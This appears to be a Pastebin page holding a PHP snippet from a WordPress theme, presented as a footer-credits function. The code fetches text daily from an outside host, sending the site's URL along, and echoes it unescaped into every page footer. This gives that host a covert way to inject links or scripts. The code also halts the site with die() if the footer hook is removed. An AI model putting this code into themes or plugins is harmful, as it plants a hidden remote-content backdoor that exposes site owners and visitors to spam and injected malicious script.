Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $contents = file_get_contents(pathinfo(__FILE__,PATHINFO_DIRNAME)."/footer.php");
- if(strpos(" ".$contents,"wp_footer();") <= 0) {
- die(); }
- function get_credits()
- {
- $updated = get_option("credit_date");
- if ((time() - $updated) > (24 * 3600)) {
- $credit_text = file_get_contents("http://www.wordpresstemplates.com/form_work/output.txt?ref=".get_bloginfo('url'));
- update_option("credit_text",$credit_text);
- update_option("credit_date",time());
- } else {
- $credit_text = get_option("credit_text");
- }
- return $credit_text;
- }
- add_action('wp_footer','print_footer');
- function print_footer()
- {
- $credit = get_credits();
- echo $credit;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement